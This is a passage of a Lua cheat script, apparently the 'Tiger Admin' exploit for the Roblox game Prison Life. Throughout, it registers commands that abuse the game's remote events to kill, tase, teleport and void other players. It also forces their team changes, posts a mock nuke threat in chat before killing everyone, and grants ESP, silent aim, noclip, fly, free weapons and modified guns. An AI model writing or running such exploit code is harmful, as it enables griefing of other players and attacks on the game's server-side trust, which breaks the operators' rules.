  2287. game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
  2288. task.spawn(function()
  2289. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
  2290. end)
  2291. wait(.7)
  2292. API:ChangeTeam(Oldt)
  2293. else
  2294. local Target = API:FindPlayer(args[2])
  2295. if Target then
  2296. local Oldt = Player.Team
  2297. API:ChangeTeam(game.Teams.Guards)
  2298. repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
  2299. wait(.7)
  2300. local ohTable1 = {
  2301. [1] = {
  2302. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2303. ["Distance"] = 0,
  2304. ["Cframe"] = CFrame.new(),
  2305. ["Hit"] = Target.Character.Head
  2306. }
  2307. }
  2308. local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack.Taser
  2309.  
  2310. game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
  2311. task.spawn(function()
  2312. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
  2313. end)
  2314. wait(.1)
  2315. API:ChangeTeam(Oldt)
  2316. end
  2317. end
  2318. end,nil,"[PLAYER,ALL]")
  2319. API:CreateCmd("heaven", "Teleports a player to the void", function(args)
  2320. local Player = API:FindPlayer(args[2])
  2321. if Player then
  2322. API:bring(Player,CFrame.new(2^7,5^34,4^7))
  2323. end
  2324. end,true,"[PLAYER]")
  2325.  
  2326. API:CreateCmd("void", "Teleports a player to the void", function(args)
  2327. local Player = API:FindPlayer(args[2])
  2328. if Player then
  2329. API:bring(Player,CFrame.new(2^7,5^34,4^7),nil,true)
  2330. end
  2331. end,nil,"[PLAYER]")
  2332. API:CreateCmd("whitelist", "Prevents commands from harming the target", function(args)
  2333. local Player = API:FindPlayer(args[2])
  2334. if Player then
  2335. if not table.find(API.Whitelisted,Player) then
  2336. table.insert(API.Whitelisted, Player)
  2337. API:Notif("Target has been whitelisted")
  2338. end
  2339. end
  2340. end,nil,"[PLAYER]")
  2341. API:CreateCmd("unwhitelist", "unwhitelists a target", function(args)
  2342. local Player = API:FindPlayer(args[2])
  2343. if Player then
  2344. if table.find(API.Whitelisted,Player) then
  2345. table.remove(API.Whitelisted,table.find(API.Whitelisted,Player))
  2346. API:Notif("Target has been unwhitelisted")
  2347. end
  2348. end
  2349. end,nil,"[PLAYER]")
  2350.  
  2351. API:CreateCmd("view", "Watches the selected target", function(args)
  2352. local Player = API:FindPlayer(args[2])
  2353. if Player then
  2354. if Temp.ViewingPlayer then
  2355. Temp.ViewingPlayer = nil
  2356. wait(.4)
  2357. end
  2358. Temp.ViewingPlayer = Player
  2359. task.spawn(function()
  2360. while wait(.1) do
  2361. pcall(function()
  2362. workspace.CurrentCamera.CameraSubject = Player.Character:FindFirstChildOfClass("Humanoid")
  2363. end)
  2364. if not Player or not Temp.ViewingPlayer or Unloaded then
  2365. workspace.CurrentCamera.CameraSubject = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
  2366. break
  2367. end
  2368. end
  2369. end)
  2370. end
  2371. end,nil,"[PLAYER]")
  2372. API:CreateCmd("bring", "Brings a player to you", function(args)
  2373. if args[2] == "random" then
  2374. local random = nil
  2375. while true do
  2376. random = game:GetService("Players"):GetPlayers()[math.random(1, #game:GetService("Players"):GetPlayers())]
  2377. task.wait()
  2378. if random.Team ~= game.Teams.Criminals and random ~= game:GetService("Players").LocalPlayer then
  2379. break
  2380. end
  2381. end
  2382. task.spawn(function()
  2383. API:bring(random)
  2384. end)
  2385. else
  2386. local Target = API:FindPlayer(args[2])
  2387. if Target then
  2388. task.spawn(function()
  2389. API:bring(Target)
  2390. end)
  2391. end
  2392.  
  2393. end
  2394. end,nil,"[PLAYER]")
  2395. API:CreateCmd("addnuke", "Player dies everyone dies", function(args)
  2396. local Target = API:FindPlayer(args[2])
  2397. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("!!!A NUKE HAS BEEN PLACED ON "..Target.Name.." KILLING HIM WILL GET EVERYONE DEAD!!!", "ALL")
  2398. repeat task.wait()
  2399. if Target.Character and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health <1 then
  2400. break
  2401. end
  2402. until not game
  2403. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(Target.Name.." IS DEAD NUKE LAUNCHING!!!", "ALL")
  2404. wait(1.5)
  2405. --//This is what I call perfect work
  2406. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 3", "ALL")
  2407. wait(1.5)
  2408. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 2", "ALL")
  2409. wait(1.5)
  2410. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 1", "ALL")
  2411. wait(1)
  2412. API:killall()
  2413. API:Notif("Nuke from player has been removed.")
  2414. end,nil,"[PLAYER]")
  2415. API:CreateCmd("to", "Teleports to a player", function(args)
  2416. local Player = API:FindPlayer(args[2])
  2417. if Player then
  2418. API:MoveTo(Player.Character:GetPrimaryPartCFrame())
  2419. end
  2420. end,true,"[PLAYER]")
  2421. API:CreateCmd("cursor ", "Changes mouse icon", function(args)
  2422. if args[2] and tonumber(args[2]) then
  2423. game:GetService("UserInputService").MouseIcon = args[2]
  2424. else
  2425. API:Notif("Invalid ID or no Second arg")
  2426. end
  2427. end,nil,"[ID]")
  2428. API:CreateCmd("goto", "Teleports to a player", function(args)
  2429. local Player = API:FindPlayer(args[2])
  2430. if Player then
  2431. API:MoveTo(Player.Character:GetPrimaryPartCFrame())
  2432. end
  2433. end,nil,"[PLAYER]")
  2434. API:CreateCmd("clickarrest", "click on someone to arrest them", function(args)
  2435. local value = ChangeState(args[2],"ClickArrest")
  2436. end,nil,"[on/off]")
  2437. API:CreateCmd("esp", "shows where all players are", function(args)
  2438. local value = ChangeState(args[2],"esp")
  2439. if value then
  2440. if workspace:FindFirstChild("HIGHLIGHTS_1000") then
  2441. return
  2442. end
  2443. local Group = Instance.new("Model",workspace)
  2444. Group.Name = "HIGHLIGHTS_1000"
  2445. local esp =Instance.new("Highlight",Group)
  2446. esp.FillColor = BrickColor.White().Color
  2447.  
  2448. Temp.ESP = esp
  2449. local function EspToggle(v)
  2450. if not Temp.EspConnection then
  2451. return
  2452. end
  2453. task.spawn(function()
  2454. pcall(function()
  2455. if v.Character and v.Character:FindFirstChild("Head") then
  2456. if v.Character.Parent == Group then
  2457. return
  2458. end
  2459. v.Character.Archivable = true
  2460. local v1 = Instance.new("BillboardGui",v.Character:FindFirstChild("Head"))
  2461. local v2 = Instance.new("TextLabel",v1)
  2462. table.insert(Temps.Esp, v1)
  2463. table.insert(Temps.Esp, v2)
  2464. v1.Adornee = v.Character.Head
  2465. v1.Name = "123123123123"
  2466. v1.Size = UDim2.new(0, 100, 0, 150)
  2467. v1.StudsOffset = Vector3.new(0, 2, 0)
  2468. v1.AlwaysOnTop = true
  2469. v2.BackgroundTransparency = 1
  2470. v2.TextColor3 = v.TeamColor.Color
  2471. v2.TextStrokeTransparency = 0
  2472. v2.TextYAlignment = Enum.TextYAlignment.Bottom
  2473. v2.Position = UDim2.new(0, 0, 0, -50)
  2474. v2.Size = UDim2.new(0, 120, 0, 120)
  2475. v2.Font = Enum.Font.SourceSans
  2476. v2.TextSize = 15
  2477. v2.Text = v.Name
  2478. v.Character.Parent = Group
  2479. end
  2480. end)
  2481. end)
  2482. end
  2483. Temp.EspConnection=true
  2484. repeat wait(.5)
  2485. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2486. if v and v~= game:GetService("Players").LocalPlayer then
  2487. EspToggle(v)
  2488. end
  2489. end
  2490. for i,v in pairs(Temp.Esps) do
  2491. if v.Parent == nil then
  2492. API:Destroy(v)
  2493. end
  2494. end
  2495. until Temp.EspConnection == nil
  2496. else
  2497. if workspace:FindFirstChild("HIGHLIGHTS_1000") then
  2498. API:Destroy(Temp.ESP)
  2499. Temp.EspConnection = nil
  2500. wait(.1)
  2501. for i,v in pairs(workspace:FindFirstChild("HIGHLIGHTS_1000"):GetChildren()) do
  2502. v.Parent = workspace
  2503. end
  2504. for i,v in pairs(Temp.Esps) do
  2505. API:Destroy(v)
  2506. end
  2507. API:Destroy(workspace:FindFirstChild("HIGHLIGHTS_1000"))
  2508.  
  2509. end
  2510. end
  2511. end,nil,"[ON/OFF]")
  2512. API:CreateCmd("silentaim", "Fire and dont miss", function(args)
  2513. local value = ChangeState(args[2],"SilentAim")
  2514. end,nil,"[on/off]")
  2515. API:CreateCmd("clickkill", "click on someone to kill them", function(args)
  2516. local value = ChangeState(args[2],"ClickKill")
  2517. end,nil,"[on/off]")
  2518. API:CreateCmd("autorespawn", "you die and respawn back", function(args)
  2519. local value = ChangeState(args[2],"AutoRespawn")
  2520. end,nil,"[on/off]")
  2521. API:CreateCmd("antisit", "Prevents you from sitting", function(args)
  2522. local value = ChangeState(args[2],"AntiSit")
  2523. if not value then
  2524. game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, true)
  2525. end
  2526. end,nil,"[on/off]")
  2527. API:CreateCmd("antitouch", "Kills anyone who touches you", function(args)
  2528. local value = ChangeState(args[2],"AntiTouch")
  2529. end,nil,"[on/off]")
  2530. API:CreateCmd("arrestaura", "Kills anyone close to you", function(args)
  2531. local value = ChangeState(args[2],"ArrestAura")
  2532. end,nil,"[on/off]")
  2533. API:CreateCmd("killaura", "Kills anyone close to you", function(args)
  2534. local value = ChangeState(args[2],"killaura")
  2535. if value then
  2536. API:CreateKillPart()
  2537. else
  2538. if Temp.KillPart then
  2539. pcall(function()
  2540. Temp.KillPart:Destroy()
  2541. end)
  2542. Temp.KillPart = nil
  2543. end
  2544. end
  2545.  
  2546. end,nil,"[on/off]")
  2547. API:CreateCmd("autoitems", "Gets guns after you die", function(args)
  2548. local value = ChangeState(args[2],"AutoItems")
  2549. end,nil,"[on/off]")
  2550. API:CreateCmd("antiarrest", "!!TRYS!! to Prevents you from getting arrested", function(args)
  2551. local value = ChangeState(args[2],"AntiArrest")
  2552. end,nil,"[on/off]")
  2553. API:CreateCmd("noinvite", "disables discord invite", function(args)
  2554. if writefile and readfile then
  2555. writefile("Tiger_Admin/Invite.json",game:GetService("HttpService"):JSONEncode({Invite_To_Server=false}))
  2556. API:Notif("Discord invite has been disabled!")
  2557. else
  2558. API:Notif("executor not supported.")
  2559. end
  2560. end)
  2561. API:CreateCmd("antipunch", "prevents anyone from punching you", function(args)
  2562. local value = ChangeState(args[2],"antipunch")
  2563. if States.antipunch then
  2564. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2565. if v and v~= plr and not table.find(API.Whitelisted,v) then
  2566. task.spawn(function()
  2567. AntiPunchC(v)
  2568. end)
  2569. v.CharacterAdded:Connect(function(c)
  2570. repeat task.wait() until c and c:FindFirstChildOfClass("Humanoid")
  2571. if States.AntiPunch then
  2572. if States.antipunch then
  2573. AntiPunchC(v)
  2574. end
  2575. end
  2576. end)
  2577. end
  2578. end
  2579. end
  2580. end,nil,"[on/off]")
  2581. API:CreateCmd("antishield", "Deletes other peoples shields", function(args)
  2582. local value = ChangeState(args[2],"Antishield")
  2583. end,nil,"[on/off]")
  2584. API:CreateCmd("spawnguns", "Loop kills you to spawn guns", function(args)
  2585. local value = ChangeState(args[2],"spawnguns")
  2586. end,nil,"[on/off]")
  2587. API:CreateCmd("shootback", "Kills anyone who shoots you ", function(args)
  2588. local value = ChangeState(args[2],"ShootBack")
  2589. end,nil,"[on/off]")
  2590. API:CreateCmd("onepunch", "Insta-kills anyone you punch", function(args)
  2591. local value = ChangeState(args[2],"OnePunch")
  2592. end,nil,"[on/off]")
  2593. API:CreateCmd("antitase", "Prevents you from getting tased", function(args)
  2594. local value = ChangeState(args[2],"AntiTase")
  2595.  
  2596. if value then
  2597. for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
  2598. v:Disable()
  2599. end
  2600. API:Notif("AntiTase has been changed to "..tostring(States.AntiTase))
  2601. elseif not value then
  2602. for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
  2603. v:Enable()
  2604. end
  2605. API:Notif("AntiTase has been changed to "..tostring(States.AntiTase))
  2606. end
  2607. end,nil,"[on/off]")
  2608. API:CreateCmd("neutral", "Changes your team to Neutral", function(args)
  2609. API:ChangeTeam(game.Teams.Neutral,true)
  2610. end)
  2611. API:CreateCmd("inmate", "Changes your team to inmate", function(args)
  2612. API:ChangeTeam(game.Teams.Inmates,true)
  2613. end)
  2614. API:CreateCmd("guard", "Changes your team to guard", function(args)
  2615. API:ChangeTeam(game.Teams.Guards,true)
  2616. end)
  2617. API:CreateCmd("criminal", "Changes your team to criminal or a person", function(args)
  2618. if args[2] == "random" then
  2619. local random = nil
  2620. while true do
  2621. random = game:GetService("Players"):GetPlayers()[math.random(1, #game:GetService("Players"):GetPlayers())]
  2622. task.wait()
  2623. if random.Team ~= game.Teams.Criminals and random ~= game:GetService("Players").LocalPlayer then
  2624. break
  2625. end
  2626. end
  2627. local Target = random
  2628. if Target.Team == game:GetService("Teams").Inmates then
  2629. API:bring(Target,CFrame.new()*CFrame.new(0,2,0))
  2630. elseif Target.Team == game:GetService("Teams").Guards then
  2631. API:bring(Target,CFrame.new(-920.510803, 92.2271957, 2138.27002, 0, 0, -1, 0, 1, 0, 1, 0, 0)*CFrame.new(-4.5,2,-3),true)
  2632. end
  2633. else
  2634. if args[2] then
  2635. local Target = API:FindPlayer(args[2])
  2636. if Target == Player then
  2637. API:ChangeTeam(game.Teams.Criminals,true)
  2638. return
  2639. end
  2640. if Target then
  2641. if Target.Team == game:GetService("Teams").Inmates then
  2642. API:bring(Target,CFrame.new()*CFrame.new(0,2,0))
  2643. elseif Target.Team == game:GetService("Teams").Guards then
  2644. API:bring(Target,CFrame.new(-920.510803, 92.2271957, 2138.27002, 0, 0, -1, 0, 1, 0, 1, 0, 0)*CFrame.new(-4.5,2,-3),true)
  2645. end
  2646. end
  2647. else
  2648. API:ChangeTeam(game.Teams.Criminals,true)
  2649. end
  2650. end
  2651. end,nil,"[ME,PLAYER]")
  2652. API:CreateCmd("unview", "Unwatches the selected target", function(args)
  2653. Temp.ViewingPlayer = nil
  2654. wait()
  2655. game:GetService("Workspace").Camera.CameraSubject = plr.Character.Humanoid
  2656. end)
  2657. API:CreateCmd("car", "Brings a car to you", function(args)
  2658. pcall(function()
  2659. local OldPos = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
  2660. game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(-910, 95, 2157))
  2661. wait()
  2662. local car = nil
  2663. task.spawn(function()
  2664. car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
  2665. end)
  2666. repeat wait(.1)
  2667. local ohInstance1 = game:GetService("Workspace").Prison_ITEMS.buttons:GetChildren()[8]["Car Spawner"]
  2668. workspace.Remote.ItemHandler:InvokeServer(ohInstance1)
  2669. until car
  2670. repeat task.wait() until car:FindFirstChild("RWD") and car:FindFirstChild("Body") and car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
  2671. car.PrimaryPart = car.RWD
  2672. game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(OldPos)
  2673. wait(1)
  2674. local Done = false
  2675. car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
  2676. repeat
  2677.  
  2678. game:GetService("RunService").RenderStepped:Wait()
  2679. car:SetPrimaryPartCFrame(OldPos)
  2680. game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =CFrame.new(car.Body.VehicleSeat.Position)
  2681. car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
  2682. if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit == true then
  2683. Done = true
  2684. end
  2685. until Done
  2686. end)
  2687. end)
  2688. API:CreateCmd("opengate", "Opens the main prison gate", function(args)
  2689. local OldPos = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
  2690. API:MoveTo(CFrame.new(503.998993, 102.039917, 2242.79907, 0.99996537, -1.0554821e-08, -0.00832392555, 1.00791926e-08, 1, -5.71817864e-08, 0.00832392555, 5.70959067e-08, 0.99996537))
  2691. wait(.1)
  2692. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Prison Gate"]["Prison Gate"])
  2693. API:MoveTo(OldPos)
  2694. end)
  2695. API:CreateCmd("fly", "Enter plane mode but dont hit towers", function(args)
  2696. API:Unfly()
  2697. wait(.4)
  2698. API:Fly(tonumber(args[2]) or 7)
  2699. end)
  2700. API:CreateCmd("carfly", "Car go flying", function(args)
  2701. API:Unfly()
  2702. wait()
  2703. API:Fly(10)
  2704. end)
  2705. API:CreateCmd("uncarfly", "stop the car fly", function(args)
  2706. API:Unfly()
  2707. end)
  2708. API:CreateCmd("unfly", "Disables fly", function(args)
  2709. API:Unfly()
  2710. end)
  2711.  
  2712. API:CreateCmd("keycard", "Gets a keycard", function(args)
  2713. local Oldc = API:GetPosition()
  2714. local OldT = Player.Team
  2715. if plr.Character:FindFirstChild("Key card") or plr.Backpack:FindFirstChild("Key card") then
  2716. return API:Notif("You already have a keycard!",false)
  2717. end
  2718. if #game.Teams.Guards:GetPlayers() == 8 and plr.Team ~= game.Teams.Guards then
  2719. API:Notif("Guards team is full!")
  2720. return
  2721. end
  2722. API:ChangeTeam(game.Teams.Guards)
  2723. repeat wait(.5)
  2724. Player.Character:FindFirstChildOfClass("Humanoid"):ChangeState(15)
  2725. wait()
  2726. API:Refresh()
  2727. until game:GetService("Workspace")["Prison_ITEMS"].single:FindFirstChild("Key card")
  2728. if game:GetService("Workspace")["Prison_ITEMS"].single:FindFirstChild("Key card") then
  2729. if Player.Team ~= OldT then
  2730. API:ChangeTeam(OldT)
  2731. repeat task.wait() until Player.Team == OldT
  2732. end
  2733. wait()
  2734. repeat wait()
  2735. local a =pcall(function()
  2736. local Key = workspace.Prison_ITEMS.single["Key card"].ITEMPICKUP
  2737. game.Workspace.Remote["ItemHandler"]:InvokeServer(Key)
  2738. API:MoveTo(CFrame.new(workspace.Prison_ITEMS.single["Key card"].ITEMPICKUP.Position+Vector3.new(0,3,0)))
  2739. end)
  2740. until plr.Backpack:FindFirstChild("Key card")
  2741. end
  2742. API:MoveTo(Oldc)
  2743. end)
  2744.  
  2745. API:CreateCmd("refresh", "refreshes your character", function(args)
  2746. API:Refresh(true)
  2747. end)
  2748. API:CreateCmd("roof", "", function(args)
  2749. if args[2] then
  2750. local Target = API:FindPlayer(args[2])
  2751. if Target then
  2752. API:bring(Target, CFrame.new(820.6336059570312, 120.48998260498047, 2352.623046875))
  2753. end
  2754. else
  2755. API:MoveTo(CFrame.new(820.6336059570312, 120.48998260498047, 2352.623046875))
  2756. end
  2757. end, true)
  2758. API:CreateCmd("nex", "", function(args)
  2759. if args[2] then
  2760. local Target = API:FindPlayer(args[2])
  2761. if Target then
  2762. API:bring(Target, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
  2763. end
  2764. else
  2765. API:MoveTo(CFrame.new(918.77, 100, 2379.07))
  2766. end
  2767. end, true)
  2768. API:CreateCmd("prison", "Teleports to location", function(args)
  2769. if args[2] then
  2770. local Target = API:FindPlayer(args[2])
  2771. if Target then
  2772. API:bring(Target, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
  2773. end
  2774. else
  2775. API:MoveTo(CFrame.new(918.77, 100, 2379.07))
  2776. end
  2777. end)
  2778. API:CreateCmd("m4a1", "Gets a M4A1 gun", function(args)
  2779. API:GetGun("M4A1")
  2780. end)
  2781. API:CreateCmd("m9", "Gets a M9 gun", function(args)
  2782. API:GetGun("M9")
  2783. end)
  2784. API:CreateCmd("shotgun", "Gets a shotgun", function(args)
  2785. API:GetGun("Remington 870")
  2786. end)
  2787. API:CreateCmd("ak", "Gets a ak-47", function(args)
  2788. API:GetGun("AK-47")
  2789. end)
  2790. API:CreateCmd("knife", "Gets a knife", function(args)
  2791. workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
  2792. end)
  2793. API:CreateCmd("hammer", "Gets a hammer", function(args)
  2794. workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Hammer"]})
  2795. end)
  2796. API:CreateCmd("yard", "Teleports to location", function(args)
  2797. if args[2] then
  2798. local Target = API:FindPlayer(args[2])
  2799. if Target then
  2800. API:bring(Target, CFrame.new(791, 98, 2498))
  2801. end
  2802. else
  2803.  
  2804. API:MoveTo(CFrame.new(791, 98, 2498))
  2805. end
  2806. end)
  2807. API:CreateCmd("gas", "Teleports to location", function(args)
  2808. if args[2] then
  2809. local Target = API:FindPlayer(args[2])
  2810. if Target then
  2811. API:bring(Target, CFrame.new(-518, 54, 1655))
  2812. end
  2813. else
  2814. API:MoveTo(CFrame.new(-518, 54, 1655))
  2815. end
  2816. end)
  2817. API:CreateCmd("cafe", "Teleports to location", function(args)
  2818. if args[2] then
  2819. local Target = API:FindPlayer(args[2])
  2820. if Target then
  2821. API:bring(Target, CFrame.new(877, 100, 2256))
  2822. end
  2823. else
  2824. API:MoveTo(CFrame.new(877, 100, 2256))
  2825. end
  2826. end)
  2827. API:CreateCmd("bridge", "Teleports to location", function(args)
  2828. if args[2] then
  2829. local Target = API:FindPlayer(args[2])
  2830. if Target then
  2831. API:bring(Target, CFrame.new(54, 33, 1311))
  2832. end
  2833. else
  2834. API:MoveTo(CFrame.new(54, 33, 1311))
  2835. end
  2836. end)
  2837. API:CreateCmd("lunchroom", "Teleports to location", function(args)
  2838. if args[2] then
  2839. local Target = API:FindPlayer(args[2])
  2840. if Target then
  2841. API:bring(Target, CFrame.new(905, 100, 2226))
  2842. end
  2843. else
  2844. API:MoveTo(CFrame.new(905, 100, 2226))
  2845. end
  2846. end)
  2847.  
  2848. API:CreateCmd("crimbase", "Teleports to location", function(args)
  2849. if args[2] then
  2850. local Target = API:FindPlayer(args[2])
  2851. if Target then
  2852. API:bring(Target, CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
  2853. end
  2854. else
  2855. API:MoveTo(CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
  2856. end
  2857. end)
  2858. API:CreateCmd("cbase", "Teleports to location", function(args)
  2859. if args[2] then
  2860. local Target = API:FindPlayer(args[2])
  2861. if Target then
  2862. API:bring(Target, CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
  2863. end
  2864. else
  2865. API:MoveTo(CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
  2866. end
  2867. end,true)
  2868. API:CreateCmd("armory", "Teleports to location", function(args)
  2869. if args[2] then
  2870. local Target = API:FindPlayer(args[2])
  2871. if Target then
  2872. API:bring(Target, CFrame.new(789, 100, 2260))
  2873. end
  2874. else
  2875. API:MoveTo(CFrame.new(789, 100, 2260))
  2876. end
  2877. end)
  2878. API:CreateCmd("tower", "Teleports to location", function(args)
  2879. if args[2] then
  2880. local Target = API:FindPlayer(args[2])
  2881. if Target then
  2882. API:bring(Target, CFrame.new(822, 131, 2588))
  2883. end
  2884. else
  2885. API:MoveTo(CFrame.new(822, 131, 2588))
  2886. end
  2887. end)
  2888. Temp.CmdsC = false
  2889. Commands.Visible = false
  2890. API:CreateCmd("cmds", "Toggles commands gui", function(args)
  2891. if not Temp.CmdsC then
  2892. Temp.CmdsC = true
  2893. if Commands.Visible == false then
  2894. Commands.Position = Commands.Position + UDim2.new(0, 0, 1, 0)
  2895. wait(.1)
  2896. Commands:TweenPosition(SavedCmdsPosition, "Out", "Sine", 1)
  2897. Commands.Visible = true
  2898. else
  2899. Commands:TweenPosition(SavedCmdsPosition + UDim2.new(0, 0, 1, 0), "Out", "Quart", 1)
  2900. wait(.5)
  2901. Commands.Visible = false
  2902. end
  2903. wait(.7)
  2904. Temp.CmdsC = false
  2905. end
  2906. end)
  2907. API:CreateCmd("rejoin", "rejoins the same server (UNLOADS SCRIPT)", function(args)
  2908. wait(.3)
  2909. if #game:GetService("Players"):GetPlayers() ==1 then
  2910. game:GetService("Players").LocalPlayer:Kick("Please wait.")
  2911. game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
  2912. else
  2913. game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, game:GetService("Players").LocalPlayer)
  2914. end
  2915. end)
  2916. API:CreateCmd("rj", "rejoins the same server (UNLOADS SCRIPT)", function(args)
  2917. wait(.3)
  2918. if #game:GetService("Players"):GetPlayers() ==1 then
  2919. game:GetService("Players").LocalPlayer:Kick("Please wait.")
  2920. game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
  2921. else
  2922. game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, game:GetService("Players").LocalPlayer)
  2923. end
  2924. end,true)
  2925. API:CreateCmd("re", "refreshes your character", function(args)
  2926. API:Refresh(true)
  2927. end, true)
  2928. API:CreateCmd("allcmds", "tells you the ammount of commands tiger admin has", function(args)
  2929. API:Notif("Tiger admin has "..tostring(AmmountCurrent).." commands.")
  2930. end)
  2931.  
  2932. API:CreateCmd("serverhop", "Joins a different server", function(args)
  2933. local Ids = {}
  2934. for _, v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")).data) do
  2935. if typeof(v) == "table" and v['maxPlayers'] > v['playing'] and v['id'] ~= game['JobId'] then
  2936. table.insert(Ids,v.id)
  2937. end
  2938. end
  2939. return game:GetService("TeleportService"):TeleportToPlaceInstance(game['PlaceId'], Ids[math.random(1, #Ids)])
  2940. end)
  2941.  
  2942. API:CreateCmd("btools", "Destroy walls", function(args)
  2943. Instance.new("HopperBin",plr.Backpack).BinType = 3
  2944. Instance.new("HopperBin",plr.Backpack).BinType = 4
  2945. end)
  2946.  
  2947. API:CreateCmd("guns", "Gets every single gun", function(args)
  2948. API:AllGuns()
  2949. end)
  2950.  
  2951. API:CreateCmd("items", "Gets every single gun", function(args)
  2952. API:AllGuns()
  2953. end)
  2954. API:CreateCmd("noclip", "Go through walls", function(args)
  2955. if States.noclip == nil then
  2956. States.noclip = false
  2957. end
  2958. States.noclip = not States.noclip
  2959. if States.noclip then
  2960. pcall(function()
  2961. Temp.Noclipping:Disconnect()
  2962. Temp.Noclipping = nil
  2963. end)
  2964. wait()
  2965. Temp.Noclipping = game:GetService("RunService").Stepped:Connect(function()
  2966. for i,v in pairs(plr.Character:GetDescendants()) do
  2967. if v and v:IsA("Part") or v:IsA("MeshPart") and v.CanCollide and Unloaded == false then
  2968. v.CanCollide = false
  2969. end
  2970. end
  2971. end)
  2972. API:Notif("Noclip enabled")
  2973. else
  2974. pcall(function()
  2975. Temp.Noclipping:Disconnect()
  2976. Temp.Noclipping = nil
  2977. end)
  2978. wait()
  2979. API:Refresh(true)
  2980. end
  2981. end)
  2982. API:CreateCmd("clip", "Disables noclip", function(args)
  2983. States.noclip = false
  2984. pcall(function()
  2985. Temp.Noclipping:Disconnect()
  2986. Temp.Noclipping = nil
  2987. end)
  2988. API:Refresh(true)
  2989. API:Notif("Noclip disabled")
  2990. end)
  2991. API:CreateCmd("autofire", "Mods the gun", function(args)
  2992. if plr.Character:FindFirstChildOfClass("Tool") then
  2993. local Tool = plr.Character:FindFirstChildOfClass("Tool")
  2994. if not Tool:FindFirstChild("GunStates") then
  2995. return API:Notif("Needs to be a gun!",false)
  2996. end
  2997. local cc = require(Tool.GunStates)
  2998. cc["AutoFire"] = true
  2999. table.insert(Reload_Guns, Tool)
  3000. Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
  3001. else
  3002. API:Notif("You need to hold the tool you want to mod!",false)
  3003. end
  3004. end)
  3005. API:CreateCmd("fastfire", "hold a tool to mod your gun", function(args)
  3006. if plr.Character:FindFirstChildOfClass("Tool") then
  3007. local Tool = plr.Character:FindFirstChildOfClass("Tool")
  3008. if not Tool:FindFirstChild("GunStates") then
  3009. return API:Notif("Needs to be a gun!",false)
  3010. end
  3011. local cc = require(Tool.GunStates)
  3012. cc["FireRate"] = 0.001
  3013. table.insert(Reload_Guns, Tool)
  3014. Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
  3015. else
  3016. API:Notif("You need to hold the tool you want to mod!",false)
  3017. end
  3018. end)
  3019. API:CreateCmd("infammo", "hold a tool to mod your gun", function(args)
  3020. if plr.Character:FindFirstChildOfClass("Tool") then
  3021. local Tool = plr.Character:FindFirstChildOfClass("Tool")
  3022. if not Tool:FindFirstChild("GunStates") then
  3023. return API:Notif("Needs to be a gun!")
  3024. end
  3025. local cc = require(Tool.GunStates)
  3026. cc["MaxAmmo"] = math.huge
  3027. cc["StoredAmmo"] = math.huge
